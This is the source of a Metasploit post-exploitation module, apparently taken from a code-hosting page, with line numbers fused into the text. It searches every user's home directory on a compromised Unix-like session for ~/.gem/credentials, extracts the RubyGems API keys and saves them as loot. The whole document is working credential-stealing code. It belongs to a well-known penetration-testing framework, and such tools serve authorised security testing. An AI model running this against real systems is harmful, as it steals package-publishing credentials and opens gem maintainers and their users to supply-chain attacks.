Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/rubygems_api_key.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Multi Gather RubyGems API Key',14'Description' => %q{15This module obtains a user's RubyGems API key from ~/.gem/credentials.16},17'Author' => [18'Jonathan Claudius <jclaudius[at]trustwave.com>',19'Brandon Myers <bmyers[at]trustwave.com>'20],21'Platform' => %w[bsd linux osx unix],22'SessionTypes' => %w[shell],23'License' => MSF_LICENSE24)25)26end2728def run29print_status('Finding ~/.gem/credentials')30paths = enum_user_directories.map { |d| d + '/.gem/credentials' }31paths = paths.select { |f| file?(f) }3233if paths.empty?34print_error('No users found with a ~/.gem/credentials file')35return36end3738download_key(paths)39end4041# Ruby gem credentials are pretty standard and can come42# in a few flavors, but the most common are straight yaml43# and json, both of which are colon delimited. I suppose44# you could concievably have more than one, but that'd be45# manually editing, and the first one is probably the best46# one anyway.47def extract_key(path)48data = read_file(path)49keys = data.split(':').select { |k| k =~ /[0-9a-f]{32}/ }50keys.map(&:strip).first51end5253def download_key(paths)54print_status("Looting #{paths.count} files")55paths.each do |path|56path.chomp!57next if ['.', '..'].include?(path)5859rubygems_api_key = extract_key(path)60next unless rubygems_api_key6162print_good("Found a RubyGems API key: #{rubygems_api_key}")6364loot_path = store_loot(65'rubygems.apikey',66'text/plain',67session,68rubygems_api_key,69'rubygems_api_key.txt',70'RubyGems API key'71)7273print_good("RubyGems API key stored in #{loot_path}")74end75end76end777879